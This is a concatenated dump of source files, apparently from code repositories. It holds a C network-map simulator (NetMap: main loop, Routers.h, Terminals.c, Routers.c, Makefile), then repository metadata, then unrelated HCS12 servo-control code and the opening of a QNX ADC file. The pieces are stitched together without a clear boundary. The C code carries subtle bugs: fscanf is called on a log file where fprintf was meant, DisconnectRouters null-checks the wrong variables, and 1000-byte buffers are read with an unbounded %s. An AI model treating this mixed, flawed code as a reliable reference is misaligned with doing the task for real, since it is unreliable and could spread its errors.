Terminal* terminal = InitializeTerminal(nome, local);
InsertTerminal(terminal, terminal_l);
} else if (!strcmp(command, "REMOVEROTEADOR")) {
char nome[1000];
fscanf(input, "%s", nome);
char* ter_name = FindTerminalNameWithRouterName(terminal_l, nome);
if (ter_name != NULL) {
DisconnectRouterFromTerminal(terminal_l, ter_name);
}
Router* rot = RemoveRouter(router_l, nome);
if (rot == NULL) {
log = fopen("log.txt", "a");
fprintf(log, "Erro: Roteador %s inexistente no NetMap\n", nome);
fclose(log);
} else {
FreeRouter(rot);
}
} else if (!strcmp(command, "REMOVETERMINAL")) {
char nome[1000];
fscanf(input, "%s", nome);
Terminal* ter = RemoveTerminal(terminal_l, nome);
if (ter == NULL) {
FILE* log = fopen("log.txt", "a");
fscanf(log, "Erro: Terminal %s inexistente no NetMap\n", nome);
fclose(log);
} else {
FreeTerminal(ter);
}
} else if (!strcmp(command, "CONECTAROTEADORES")) {
char rot1[1000], rot2[1000];
fscanf(input, "%s %s", rot1, rot2);
ConnectRouters(router_l, rot1, rot2);
} else if (!strcmp(command, "CONECTATERMINAL")) {
char terminal[1000], roteador[1000];
fscanf(input, "%s %s", terminal, roteador);
ConnectRouterToTerminal(terminal_l, router_l, terminal, roteador);
} else if (!strcmp(command, "DESCONECTAROTEADORES")) {
char rot1[1000], rot2[1000];
fscanf(input, "%s %s", rot1, rot2);
DisconnectRouters(router_l, rot1, rot2);
} else if (!strcmp(command, "DESCONECTATERMINAL")) {
char terminal[1000];
fscanf(input, "%s", terminal);
DisconnectRouterFromTerminal(terminal_l, terminal);
} else if (!strcmp(command, "FREQUENCIAOPERADORA")) {
char operadora[1000];
fscanf(input, "%s", operadora);
int frequencia = RoutersOperatorFrequency(router_l, operadora);
saida_txt = fopen("saida.txt", "a");
fprintf(saida_txt, "FREQUENCIAOPERADORA %s: %d\n", operadora, frequencia);
fclose(saida_txt);
} else if (!strcmp(command, "FREQUENCIATERMINAL")) {
char local[1000];
fscanf(input, "%s", local);
int frequencia = TerminalFrequency(terminal_l, local);
saida_txt = fopen("saida.txt", "a");
fprintf(saida_txt, "FREQUENCIATERMINAL %s: %d\n", local, frequencia);
fclose(saida_txt);
} else if (!strcmp(command, "ENVIARPACOTESDADOS")) {
char ter1[1000], ter2[1000];
fscanf(input, "%s %s", ter1, ter2);
SendPackage(terminal_l, ter1, ter2);
} else if (!strcmp(command, "IMPRIMENETMAP")) {
PrintNetMap(router_l, terminal_l, netmap_counter);
netmap_counter++;
} else {
printf("Erro: comando \"%s\" nao consegue ser interpretado\n", command);
}
fscanf(input, "%s", command);
}//fim do looping
fclose(input);
FreeConectedRouters(router_l);
FreeRouterList(router_l);
FreeTerminalsList(terminal_l);
return (EXIT_SUCCESS);
}<file_sep>#ifndef ROUTERS_H
#define ROUTERS_H
typedef struct router Router;
typedef struct router_cell RouterCell;
typedef struct router_list RouterList;
typedef struct connected_routers ConnectedRouters;
/* Inicializa as sentinelas de uma nova lista de roteadores
* Input: N/A
* Output: Ponteiro para sentinelas de lista de roteador
* Pre-condicao: N/A
* Pos-condicao: Sentinelas existem apontando para NULL
*/
RouterList* InitializeRouterList ();
/* Aloca espaco prara um roteador com nome e operadora atribuidos
* Input: String como o nome e string com a operadora do roteador
* Output: Ponteiro para roteador
* Pre-condicao: N/A
* Pos-condicao: Roteador inicializado e com nome e operadora atribuidos
*/
Router* InitializeRouter(char*nome, char*operadora);
/* Insere o roteador na lista especifica para roteadores
* Input: Ponteiro para roteador e ponteiro para lista de roteadores
* Output: N/A
* Pre-condicao: N/A
* Pos-condicao: Roteador presente na lista de roteadores
*/
void InsertRouter(Router* roteador, RouterList* lista);
/* Remove o roteador da lista especifica de roteadores
* Input: Ponteiro para lista de roteadores e string com o nome do roteador
* Output: Ponteiro para o roteador retirado da lista
* Pre-condicao: Lista nao nula
* Pos-condicao: Lista de roteadores nao deve conter mais o roteador retirado
*/
Router* RemoveRouter(RouterList* lista, char* nome);
/* Registra o roteador, inicializando-o e inserindo-o na lista de roteadores
* Input: string com o nome e string com a operadora do roteador, ponteiro para lista de roteadores
* Output: N/A
* Pre-condicao: N/A
* Pos-condicao: Roteador inicializado e presente na lista de roteadores
*/
void RegisterRouter(char* nome, char* op, RouterList* lista);
/* Encontra o roteador na lista de roteadores
* Input: Ponteiro para lista de roteadores, string com o nome do roteador a ser encontrado
* Output: Ponteiro para uma celula de roteador
* Pre-condicao: O roteador deve estar presente na lista de roteadores
* Pos-condicao: Roteador e encontrado
*/
RouterCell* FindRouter(RouterList* listaR, char* roteador_nome);
/* Conecta um roteador a outro roteador
* Input: Ponteiro para lista de roetadores, duas string com nomes dos roteadores a serem conectados
* Output: N/A
* Pre-condicao: Os roteadores devem estar presentes na lista de roteadores
* Pos-condicao: Cada roteador possui conexao com o outro
*/
void ConnectRouters(RouterList* lista, char* router1, char* router2);
/* Retorna a quantidade de vezes quem roteador de determinada operadora aparece na lista
* Input: Ponteiro para lista de roteadores, string com o nome da operadora
* Output: inteiro que representa o numero de vezes que a operadora aparece na lista
* Pre-condicao: lista nao vazia
* Pos-condicao: lista inalterada
*/
int RoutersOperatorFrequency(RouterList* listaR, char* op);
/* Retorna o primeiro roteador da lista de roteadores
* Input: Ponteiro para a lista de roteadores
* Output: Ponteiro para celula de roteador
* Pre-ondicao: Lista nao deve estar vazia
* Pos-condicao: N/A
*/
RouterCell* ReturnFirstRouter(RouterList* lista);
/* Retorna o proximo roteado na lista
* Input: Ponteiro para celula de roteador
* Output: Ponteiro para a proxima celula de roteador da lista de roteadores
* Pre-condicao: Lista de roteadores nao pode estar vazia
* Pos-condicao: N/A
*/
RouterCell* ReturnNextRouter(RouterCell* rot);
/* Retorna o nome de roteador
* Input: ponteiro para celula roteador
* Output: string com o nome do roteador
* Pre-condicao: A celula de roteador deve existir
* Pos-condicao: N/A
*/
char* ReturnRouterName(RouterCell* rot);
/* Retorna o primeiro roteador conectado ao roteador em questao
* Input: Ponteiro para celula de roteador
* Output: Ponteiro para estrutura de roteadores conectados
* Pre-condicao: Lista de roteadors conectados não pode estar vazia
* Pos-condicao: N/A
*/
ConnectedRouters* ReturnConnectedRouter(RouterCell* rot);
/* Retorna o proximo roteado na lista de roteadores conectados a um determinado roteador
* Input: Ponteiro para estrutura de roteadores conectados
* Output: Ponteiro para a proxima celula de roteador da lista de roteadores conectados
* Pre-condicao: Lista de roteadores conectados nao pode estar vazia
* Pos-condicao: N/A
*/
ConnectedRouters* ReturnNextConnectedRouter(ConnectedRouters* conn_rot);
/* Retorna o nome do roteador conectado ao determinado roteador
* Input: Ponteiro para estrutura de roteadore conectados
* Output: string com o nome do roteador conectado ao determinado roteador
* Pre-condicao: A lista de roteadores conectados ao determinado roteador nao pode estar vazia
* Pos-condicao: N/A
*/
char* ReturnConnectedRouterName(ConnectedRouters* conn_rot);
/* Desconecta roteador conectado a um determinado roteador
* Input: Ponteiro para lista de roteadores, duas strings com os nomes dos roteadores
* Output: N/A
* Pre-condicao: Os roteadores devem estar presentes na lista
* Pos-condicao: Os roteadores devem estar desconectados um do outro
*/
void DisconnectRouters(RouterList* lista, char* rot1, char* rot2);
/* Realiza a total liberacao de memoria de uma lista de roteadores
* Input: Ponteiro para uma lista de roteadores
* Output: N/A
* Pre-condicao: Lista nao nula
* Pos-condicao: Memoria devidamente liberada
*/
void FreeRouterList (RouterList* list);
/* Libera memoria de um tipo Router
* Input: Ponteiro para um tipo Router
* Output: N/A
* Pre-condicao: Ponteiro valido e nao nulo
* Pos-condicao: Memoria devidamente liberada
*/
void FreeRouter (Router* rot);
/* Realiza a total liberacao de memoria de uma lista de roteadores conectados
* Input: Ponteiro para uma lista de roteadores
* Output: N/A
* Pre-condicao: Lista nao nula
* Pos-condicao: Memoria devidamente liberada
*/
void FreeConectedRouters(RouterList* lista);
#endif /* ROTEADORES_H */
<file_sep>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "Terminals.h"
#include "Routers.h"
struct terminals_list {
TerminalCell* first;
TerminalCell* last;
};
struct terminal_cell {
Terminal* terminal;
TerminalCell* next;
};
struct terminal {
char* name;
char* location;
RouterCell* router;
};
TerminalsList* InitializeTerminalsList() {
TerminalsList* p;
p = (TerminalsList*) malloc(sizeof (TerminalsList));
p->first = NULL;
p->last = NULL;
return p;
}
Terminal* InitializeTerminal(char* nome, char* localizacao) {
Terminal* terminal;
terminal = (Terminal*) malloc(sizeof (Terminal));
terminal->name = (char*) malloc((strlen(nome) + 1) * sizeof (char));
strcpy(terminal->name, nome);
terminal->location = (char*) malloc((strlen(localizacao) + 1) * sizeof (char));
strcpy(terminal->location, localizacao);
terminal->router = NULL;
return terminal;
}
void InsertTerminal(Terminal* terminal, TerminalsList* lista) {
TerminalCell* novo = (TerminalCell*) malloc(sizeof (TerminalCell));
novo->next = NULL;
novo->terminal = terminal;
if (lista->first == NULL) {
lista->first = lista->last = novo;
} else {
novo->next = lista->first;
lista->first = novo;
}
}
Terminal* RemoveTerminal(TerminalsList* lista, char* nome) {
TerminalCell* ant = NULL;
TerminalCell* p = lista->first;
while (p != NULL && (strcmp(p->terminal->name, nome) != 0)) {
ant = p;
p = p-> next;
}
if (p == NULL) {
return NULL;
}
if (p == lista->first && p == lista->last) {
lista->first = lista->last = NULL;
} else if (p == lista->first) {
lista->first = lista->first->next;
p->next = NULL;
} else if (p == lista->last) {
lista->last = ant;
lista->last->next = NULL;
} else {
ant->next = p->next;
p->next = NULL;
}
Terminal * terminal = p->terminal;
free(p);
return terminal;
}
void RegisterTerminal(char* nome, char* localizacao, TerminalsList* lista) {
Terminal* terminal;
terminal = InitializeTerminal(nome, localizacao);
InsertTerminal(terminal, lista);
}
TerminalCell* FindTerminal(TerminalsList* lista, char* terminal_nome) {
TerminalCell* auxT = NULL;
TerminalCell* t = lista->first;
while (t != NULL && (strcmp(t->terminal->name, terminal_nome) != 0)) {
auxT = t;
t = t-> next;
}
if (t == NULL) {
return NULL;
}
return t;
}
TerminalCell* FindTerminalWithRouterName(TerminalsList* lista, char* router_name) {
TerminalCell* ant_aux = NULL;
TerminalCell* aux = lista->first;
while (aux != NULL && (strcmp(ReturnRouterName(aux->terminal->router), router_name) != 0)) {
ant_aux = aux;
aux = aux->next;
}
if (aux == NULL) {
return NULL;
}
return aux;
}
void ConnectRouterToTerminal(TerminalsList* listaT, RouterList* listaR, char* terminal_nome, char* roteador_nome) {
TerminalCell* t = FindTerminal(listaT, terminal_nome);
RouterCell* r = FindRouter(listaR, roteador_nome);
if (r == NULL || t == NULL) {
FILE* error = fopen("log.txt", "a");
if (t == NULL) {
fprintf(error, "Erro: Terminal %s inexistente no NetMap\n", terminal_nome);
fclose(error);
return;
}
if (r == NULL) {
fprintf(error, "Erro: Roteador %s inexistente no NetMap\n", roteador_nome);
fclose(error);
return;
}
} else {
t->terminal->router = r;
}
}
int TerminalFrequency(TerminalsList* lista, char* local) {
int frequencia = 0;
TerminalCell* t = lista->first;
while (t != NULL) {
if (strcmp(t->terminal->location, local) == 0) {
frequencia++;
}
t = t->next;
}
return frequencia;
}
void DisconnectRouterFromTerminal(TerminalsList* lista, char* nome) {
TerminalCell* t = FindTerminal(lista, nome);
if (t == NULL) {
FILE* error = fopen("log.txt", "a");
fprintf(error, "Erro: Terminal %s inexistente no NetMap\n", nome);
fclose(error);
} else {
t->terminal->router = NULL;
}
}
void PrintNetMap(RouterList* router_l, TerminalsList* terminal_l, int counter) {
FILE* netmap = fopen("saida.dot", "a");
if (counter != 0) {
fprintf(netmap, "//intermediario\n\n");
}
fprintf(netmap, "strict graph {\n");
TerminalCell* ter_aux = terminal_l->first;
while (ter_aux != NULL) {
if (ter_aux->terminal->router != NULL) {
fprintf(netmap, "\t%s -- %s;\n", ter_aux->terminal->name, ReturnRouterName(ter_aux->terminal->router));
} else {
fprintf(netmap, "\t%s;\n", ter_aux->terminal->name);
}
ter_aux = ter_aux->next;
}
RouterCell* rout_aux = ReturnFirstRouter(router_l);
while (rout_aux != NULL) {
ConnectedRouters* conn_aux = ReturnConnectedRouter(rout_aux);
if (conn_aux == NULL) {
fprintf(netmap, "\t%s;\n", ReturnRouterName(rout_aux));
}
while (conn_aux != NULL) {
fprintf(netmap, "\t%s -- %s;\n", ReturnRouterName(rout_aux), ReturnConnectedRouterName(conn_aux));
conn_aux = ReturnNextConnectedRouter(conn_aux);
}
rout_aux = ReturnNextRouter(rout_aux);
}
fprintf(netmap, "}\n");
fclose(netmap);
}
void FreeTerminalsList(TerminalsList* list) {
TerminalCell* cel = list->first;
TerminalCell* aux;
while (cel != NULL) {
aux = cel;
FreeTerminal(cel->terminal);
cel = aux-> next;
free(aux);
}
free(list);
}
void FreeTerminal(Terminal* ter) {
free(ter->location);
free(ter->name);
free(ter);
}
int SendPackageRot(RouterCell* envia, RouterCell* recebe, RouterList* aux_list);
void SendPackage(TerminalsList* ter_list, char* a, char* b) {
TerminalCell* send = FindTerminal(ter_list, a);
TerminalCell* receive = FindTerminal(ter_list, b);
int flag = 0;
if (send == NULL) {
FILE* file = fopen("log.txt", "a");
fprintf(file, "Erro: Terminal %s inexistente no NetMap\n", a);
fclose(file);
flag++;
}
if (receive == NULL) {
FILE* file = fopen("log.txt", "a");
fprintf(file, "Erro: Terminal %s inexistente no NetMap\n", b);
fclose(file);
flag++;
}
if (flag != 0) {
return;
}
RouterList * aux_list = InitializeRouterList();
int response = SendPackageRot(send->terminal->router, receive->terminal->router, aux_list);
FreeRouterList(aux_list);
if (response == 1) {
FILE* file = fopen("saida.txt", "a");
fprintf(file, "ENVIAPACOTEDADOS %s %s: SIM\n", send->terminal->name, receive->terminal->name);
fclose(file);
} else if (response == 0) {
FILE* file = fopen("saida.txt", "a");
fprintf(file, "ENVIAPACOTEDADOS %s %s: NAO\n", send->terminal->name, receive->terminal->name);
fclose(file);
}
}
char* FindTerminalNameWithRouterName(TerminalsList* list, char* name) {
TerminalCell* ter = list->first;
char* ter_name = NULL;
while (ter != NULL) {
if (ter->terminal->router != NULL && !strcmp(ReturnRouterName(ter->terminal->router), name)) {
ter_name = ter->terminal->name;
}
ter = ter->next;
}
if (ter_name == NULL) {
return NULL;
}
return ter_name;
}<file_sep>### Makefile ###
all: NetMap clean
NetMap: main.o Routers.o Terminals.o
gcc -o NetMap main.o Routers.o Terminals.o
main.o: main.c
gcc -c main.c
Routers.o: Routers.c
gcc -c Routers.c
Terminals.o: Terminals.c
gcc -c Terminals.c
clean:
rm -rf *.o
rmproper: clean
rm -rf NetMap<file_sep>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "Routers.h"
#include "Terminals.h"
struct connected_routers {
RouterCell* router_cell;
ConnectedRouters* next;
};
struct router_list {
RouterCell* first;
RouterCell* last;
};
struct router_cell {
Router* router;
RouterCell* next;
};
struct router {
char* name;
char* operator;
ConnectedRouters* connected;
};
RouterList* InitializeRouterList() {
RouterList* p;
p = (RouterList*) malloc(sizeof (RouterList));
p->first = NULL;
p->last = NULL;
return p;
}
Router* InitializeRouter(char* nome, char* operadora) {
Router* rot;
rot = (Router*) malloc(sizeof (Router));
rot->name = (char*) malloc((strlen(nome) + 1) * sizeof (char));
strcpy(rot->name, nome);
rot->operator = (char*) malloc((strlen(operadora) + 1) * sizeof (char));
strcpy(rot->operator, operadora);
rot->connected = NULL;
return rot;
}
void InsertRouter(Router* roteador, RouterList* lista) {
RouterCell* novo = (RouterCell*) malloc(sizeof (RouterCell));
novo->router = roteador;
novo->next = NULL;
if (lista->first == NULL) {
lista->first = lista->last = novo;
} else {
novo->next = lista->first;
lista->first = novo;
}
}
void RemoveConnectedRouter(RouterCell* connected, RouterCell* to_disconnect) {
//Funcao auxiliar nao disponivel para o usuario
ConnectedRouters* connection_cel = connected->router->connected;
ConnectedRouters* ant_connection_cel = NULL;
while (connection_cel != NULL && connection_cel->router_cell != to_disconnect) {
ant_connection_cel = connection_cel;
connection_cel = connection_cel->next;
}
if (connection_cel == NULL) {
return;
}
if (ant_connection_cel == NULL) {
connected->router->connected = connection_cel->next;
} else {
ant_connection_cel->next = connection_cel->next;
}
free(connection_cel);
}
Router* RemoveRouter(RouterList* lista, char* nome) {
RouterCell* router_to_remove = FindRouter(lista, nome);
if (router_to_remove == NULL) {
return NULL;
}
RouterCell* aux_cel = lista->first;
while (aux_cel != NULL) {
RemoveConnectedRouter(aux_cel, router_to_remove);
RemoveConnectedRouter(router_to_remove, aux_cel);
aux_cel = aux_cel->next;
}
if (router_to_remove == lista->first && router_to_remove == lista->last) {
lista->first = NULL;
lista->last = NULL;
} else if (router_to_remove == lista->first) {
lista->first = lista->first->next;
} else {
RouterCell* ant_aux_cel = NULL;
aux_cel = lista->first;
while (aux_cel != router_to_remove) {
ant_aux_cel = aux_cel;
aux_cel = aux_cel->next;
}
if (router_to_remove == lista->last) {
lista->last = ant_aux_cel;
} else {
ant_aux_cel->next = router_to_remove->next;
}
}
Router* return_router = router_to_remove->router;
free(router_to_remove);
return return_router;
}
void RegisterRouter(char* nome, char* op, RouterList* lista) {
Router* rot;
rot = InitializeRouter(nome, op);
InsertRouter(rot, lista);
}
RouterCell* FindRouter(RouterList* lista, char* roteador_nome) {
RouterCell* auxR = NULL;
RouterCell* r = lista->first;
while (r != NULL && (strcmp(r->router->name, roteador_nome) != 0)) {
auxR = r;
r = r-> next;
}
if (r == NULL) {
return NULL;
}
return r;
}
void Connect(RouterCell* rot1, RouterCell* rot2) {
ConnectedRouters* conect = (ConnectedRouters*) malloc(sizeof (ConnectedRouters));
conect->router_cell = rot2;
if (rot1->router->connected == NULL) {
conect->next = NULL;
rot1->router->connected = conect;
} else {
conect->next = rot1->router->connected;
rot1->router->connected = conect;
}
}
void ConnectRouters(RouterList* lista, char* router1, char* router2) {
RouterCell* rot1 = FindRouter(lista, router1);
RouterCell* rot2 = FindRouter(lista, router2);
if (rot1 == NULL || rot2 == NULL) {
FILE* error = fopen("log.txt", "a");
if (rot1 == NULL) {
fprintf(error, "Erro: Roteador %s inexistente no NetMap\n", router1);
}
if (rot2 == NULL) {
fprintf(error, "Erro: Roteador %s inexistente no NetMap\n", router2);
}
fclose(error);
} else {
Connect(rot1, rot2);
Connect(rot2, rot1);
}
}
int RoutersOperatorFrequency(RouterList* lista, char* op) {
int frequency = 0;
RouterCell* rot = lista->first;
while (rot != NULL) {
if (strcmp(rot->router->operator, op) == 0) {
frequency++;
}
rot = rot->next;
}
return frequency;
}
void DisconnectRouters(RouterList* lista, char* rot1, char* rot2) {
RouterCell* r1 = FindRouter(lista, rot1);
RouterCell* r2 = FindRouter(lista, rot2);
if (rot1 == NULL || rot2 == NULL) {
FILE* error = fopen("log.txt", "a");
if (rot1 == NULL) {
fprintf(error, "Erro: Roteador %s inexistente no NetMap\n", rot1);
}
if (rot2 == NULL) {
fprintf(error, "Erro: Roteador %s inexistente no NetMap\n", rot2);
}
fclose(error);
} else {
RemoveConnectedRouter(r1, r2);
RemoveConnectedRouter(r2, r1);
}
}
void FreeRouterList(RouterList* list) {
RouterCell* cel = list->first;
RouterCell* aux;
while (cel != NULL) {
aux = cel;
FreeRouter(cel->router);
cel = aux-> next;
free(aux);
}
free(list);
}
void FreeRouter(Router* rot) {
free(rot->name);
free(rot->operator);
free(rot);
}
void FreeConectedRouters(RouterList* lista) {
RouterCell* cel = lista->first;
RouterCell* aux;
ConnectedRouters* aux2;
ConnectedRouters* aux3;
while (cel != NULL) {
aux = cel;
aux2 = cel->router->connected;
while (aux2 != NULL) {
aux3 = aux2->next;
free(aux2);
aux2 = aux3;
}
cel = cel->next;
}
}
int SendPackageRot(RouterCell* envia, RouterCell* recebe, RouterList* aux_list) {
if (envia == NULL || recebe == NULL) {
return 0;
}
ConnectedRouters* aux_find = envia->router->connected;
while (aux_find != NULL) {
if (aux_find->router_cell == recebe) return 1;
aux_find = aux_find->next;
}
aux_find = envia->router->connected;
while (aux_find != NULL) {
RouterCell* cel = FindRouter(aux_list, aux_find->router_cell->router->name);
if (cel == NULL) {
RegisterRouter(envia->router->name, envia->router->operator, aux_list);
int resp = SendPackageRot(aux_find->router_cell, recebe, aux_list);
Router* rot = RemoveRouter(aux_list, envia->router->name);
FreeRouter(rot);
if (resp == 1) {
return 1;
}
}
aux_find = aux_find->next;
}
return 0;
}
//funcoes auxiliares que resolvem o problema de tipo opaco:
RouterCell* ReturnFirstRouter(RouterList* lista) {
RouterCell* p = lista->first;
return p;
}
RouterCell* ReturnNextRouter(RouterCell* rot) {
return rot->next;
}
char* ReturnRouterName(RouterCell* rot) {
return rot->router->name;
}
ConnectedRouters* ReturnConnectedRouter(RouterCell* conn_rot) {
return conn_rot->router->connected;
}
ConnectedRouters* ReturnNextConnectedRouter(ConnectedRouters* conn_rot) {
return conn_rot->next;
}
char* ReturnConnectedRouterName(ConnectedRouters* conn_rot) {
return conn_rot->router_cell->router->name;
}
char* ReturnName(Router* rot) {
return rot->name;
}
|
294e627116a4f4560f7db8c3a2820d97e7877873
|
[
"C",
"Makefile"
] | 6
|
C
|
CaLouro/Trab-1-ED1-2018-2
|
d2250f8f9a8b5bf791f3262527da8c4445808f43
|
f1e094244a444e03753bb6482eff2e5a9ece0bba
|
refs/heads/master
|
<repo_name>rajeevakarv/ADC_QNX<file_sep>/Final_File.c
/******************************************************************************
* Timer Output Compare Demo
*
* Description:
*
* This demo configures the timer to a rate of 1 MHz, and the Output Compare
* Channel 1 to toggle PORT T, Bit 1 at rate of 10 Hz.
*
* The toggling of the PORT T, Bit 1 output is done via the Compare Result Output
* Action bits.
*
* The Output Compare Channel 1 Interrupt is used to refresh the Timer Compare
* value at each interrupt
*
* Author:
* <NAME>
* <NAME>
*
*****************************************************************************/
// system includes
#include <hidef.h> /* common defines and macros */
#include <stdio.h> /* Standard I/O Library */
#include <ctype.h>
#include <stdlib.h>
// project includes
#include "types.h"
#include "derivative.h" /* derivative-specific definitions */
// Definitions
// Change this value to change the frequency of the output compare signal.
// The value is in Hz.
#define OC_FREQ_HZ ((UINT16)10)
// Macro definitions for determining the TC1 value for the desired frequency
// in Hz (OC_FREQ_HZ). The formula is:
//
// TC1_VAL = ((Bus Clock Frequency / Prescaler value) / 2) / Desired Freq in Hz
//
// Where:
// Bus Clock Frequency = 2 MHz
// Prescaler Value = 2 (Effectively giving us a 1 MHz timer)
// 2 --> Since we want to toggle the output at half of the period
// Desired Frequency in Hz = The value you put in OC_FREQ_HZ
//
#define BUS_CLK_FREQ ((UINT32) 2000000)
#define PRESCALE ((UINT16) 2)
#define TC1_VAL ((UINT16) (((BUS_CLK_FREQ / PRESCALE) / 2) / OC_FREQ_HZ))
// Boolean Definitions to make the code more readable.
#define FALSE 0
#define TRUE 1
// Normally I'd use something awesome like a bool but we're stuck with this err
// limited system.
// This is used to let the program know when to capture values.
//UINT16 captureValues = FALSE;
// holds the timer values captured on the rising edge.
//UINT16 timerValuesUs [1001] = { 0 };
// holds the time inteval between rising edges.
//UINT16 pulseIntervalsUs [1000] = { 0 };
UINT8 motorControlLogic = FALSE; //This variable will enable the logic for motor driving.
UINT8 motorPosition = 0; //This variable will set the position of servo.
UINT8 servoA = FALSE;
UINT8 servoB = FALSE;
UINT16 getUINT16Input(void);
void processTimerMeasurements(UINT16 lowerBoundaryUs, UINT16 upperBoundaryUs);
//UINT16 MaxInputValue;
//UINT16 MinInputValue;
// Initializes SCI0 for 8N1, 9600 baud, polled I/O
// The value for the baud selection registers is determined
// using the formula:
//
// SCI0 Baud Rate = ( 2 MHz Bus Clock ) / ( 16 * SCI0BD[12:0] )
//--------------------------------------------------------------
void InitializeSerialPort(void)
{
// Set baud rate to ~9600 (See above formula)
SCI0BD = 13;
// 8N1 is default, so we don't have to touch SCI0CR1.
// Enable the transmitter and receiver.
SCI0CR2_TE = 1;
SCI0CR2_RE = 1;
}
void InitializePWM0() {
PWMCLK_PCLK0 = 1;
PWMPOL_PPOL0 = 1;
PWMSCLA = 0x50;
PWMPER0 = 0xFF;
PWME_PWME0 = 1;
}
void InitializePWM2() {
PWMCLK_PCLK2 = 1;
PWMPOL_PPOL2 = 1;
PWMSCLB = 0x50;
PWMPER2 = 0xFF;
PWME_PWME2 = 1;
}
// Initializes I/O and timer settings for the demo.
//--------------------------------------------------------------
void InitializeTimer(void)
{
// Set the timer prescaler to %2, since the bus clock is at 2 MHz,
// and we want the timer running at 1 MHz
TSCR2_PR0 = 1;
TSCR2_PR1 = 0;
TSCR2_PR2 = 0;
// Enable output compare on Channel 1
TIOS_IOS1 = 1;
// Set up output compare action to toggle Port T, bit 1
TCTL2_OM1 = 0;
TCTL2_OL1 = 1;
// Set up timer compare value
TC1 = TC1_VAL;
// Clear the Output Compare Interrupt Flag (Channel 1)
TFLG1 = TFLG1_C1F_MASK;
// Enable the output compare interrupt on Channel 1;
TIE_C1I = 1;
//
// Enable the timer
//
TSCR1_TEN = 1;
//
// Enable interrupts via macro provided by hidef.h
//
EnableInterrupts;
}
/*
// Output Compare Channel 1 Interrupt Service Routine
// Refreshes TC1 and clears the interrupt flag.
//
// The first CODE_SEG pragma is needed to ensure that the ISR
// is placed in non-banked memory. The following CODE_SEG
// pragma returns to the default scheme. This is neccessary
// when non-ISR code follows.
//
// The TRAP_PROC tells the compiler to implement an
// interrupt funcion. Alternitively, one could use
// the __interrupt keyword instead.
//
// The following line must be added to the Project.prm
// file in order for this ISR to be placed in the correct
// location:
// VECTOR ADDRESS 0xFFEC OC1_isr
#pragma push
#pragma CODE_SEG __SHORT_SEG NON_BANKED
//--------------------------------------------------------------
void interrupt 8 OC1_isr( void )
{
// This interrupt stores the values from the table into the array.
// we don't want to do any calculations because we are dealing with
// Us and want the reads to be as accurate as possible.
motorControlLogic = ~motorControlLogic; // Switch the Flag as user push the button
// set the interrupt enable flag for that port because it is cleared every
// everytime an interrupt fires.
TFLG1 = TFLG1_C1F_MASK;
}
#pragma pop
*/
// Output Compare Channel 1 Interrupt Service Routine
// Refreshes TC1 and clears the interrupt flag.
//
// The first CODE_SEG pragma is needed to ensure that the ISR
// is placed in non-banked memory. The following CODE_SEG
// pragma returns to the default scheme. This is neccessary
// when non-ISR code follows.
//
// The TRAP_PROC tells the compiler to implement an
// interrupt funcion. Alternitively, one could use
// the __interrupt keyword instead.
//
// The following line must be added to the Project.prm
// file in order for this ISR to be placed in the correct
// location:
// VECTOR ADDRESS 0xFFEC OC1_isr
// This function is called by printf in order to
// output data. Our implementation will use polled
// serial I/O on SCI0 to output the character.
//
// Remember to call InitializeSerialPort() before using printf!
//
// Parameters: character to output
//--------------------------------------------------------------
void TERMIO_PutChar(INT8 ch)
{
// Poll for the last transmit to be complete
do
{
// Nothing
} while (SCI0SR1_TC == 0);
// write the data to the output shift register
SCI0DRL = ch;
}
// Polls for a character on the serial port.
//
// Returns: Received character
//--------------------------------------------------------------
UINT8 GetChar(void)
{
// Poll for data
do
{
// Nothing
} while(SCI0SR1_RDRF == 0);
// Fetch and return data from SCI0
return SCI0DRL;
}
void run(){
if(servoA == TRUE) {
// InitializePWM0();
PWMDTY0 = motorPosition;
} else if(servoB == TRUE) {
// InitializePWM2();
PWMDTY2 = motorPosition;
}
}
// Entry point of our application code
//--------------------------------------------------------------
#pragma push
#pragma CODE_SEG __SHORT_SEG NON_BANKED
//--------------------------------------------------------------
void interrupt 9 OC1_isr( void ) {
TC1 += TC1_VAL;
TFLG1 = TFLG1_C1F_MASK;
if(motorControlLogic) {
motorPosition = PORTB ;
if (motorPosition & 0x80){
servoB = TRUE; // Enable the ServoB if it is negetive value
servoA = FALSE;
}else {
servoA = TRUE; // Enable servoA if it is positive value
servoB = FALSE;
}
motorPosition = motorPosition & 0x7F; // Set position for servo motor to run
}
else {
servoB = FALSE; // If push button is pushed, diable both servos.
servoA = FALSE;
}
run();
// set the interrupt enable flag for that port because it is cleared every
// everytime an interrupt fires
}
#pragma pop
void main(void)
{
UINT8 userInput = 0;
UINT16 lowerBoundaryUs = 0;
UINT16 upperBoundaryUs = 0;
UINT8 temp = 0;
INT16 i=0;
DDRB = 0x00;
DDRA = 0x00;
InitializeSerialPort();
InitializeTimer();
InitializePWM0();
InitializePWM2();
temp = PORTA;
(void)printf("temp = %d \n\r", temp );
(void) printf("\r\n\r\n Motors are running.!!!\r\n\r\n");
// if we pass post run the program otherwise go home.
//start of main loop
for(;;) {
if( (PORTA & 0x01) == 0) {
motorControlLogic = ~motorControlLogic;
for(i=32000; i>0; --i){
}
(void)printf("Control = %d, motorPosition = %d\n\r", motorControlLogic, motorPosition );
}
}
/* for(;;)
{
(void)printf("Control = %d \n\r", motorControlLogic );
userInput = GetChar();
if(motorControlLogic) {
motorPosition = PORTB ;
if (motorPosition & 0x80){
servoB = TRUE; // Enable the ServoB if it is negetive value
servoA = FALSE;
}else {
servoA = TRUE; // Enable servoA if it is positive value
servoB = FALSE;
}
motorPosition = motorPosition & 0x7F; // Set position for servo motor to run.
(void)printf("Position = %d \n\r", motorPosition );
}
else {
servoB = FALSE; // If push button is pushed, diable both servos.
servoA = FALSE;
}
}
*/
(void) printf("\r\n\r\nOk I'm outa here!!!\r\n\r\n");
}
<file_sep>/Jagan_File.c
#include <stdio.h>
#include <unistd.h> /* for sleep() */
#include <stdlib.h> /* for EXIT_* */
#include <stdint.h> /* for uintptr_t */
#include <hw/inout.h> /* for in*() and out*() functions */
#include <sys/neutrino.h> /* for ThreadCtl() */
#include <sys/syspage.h> /* for for cycles_per_second */
#include <sys/mman.h> /* for mmap_device_io() */
#include <pthread.h>
#include <time.h>
#include <sys/netmgr.h>
#include <math.h>
#define PORT_LENGTH 1
#define COMMAND_LSB_CTRL_ADDRESS 0x280
#define COMMAND_MSB_CTRL_ADDRESS 0x281
#define CHANNEL_CTRL_ADDRESS 0x282
#define GAIN_CTRL_ADDRESS 0x283
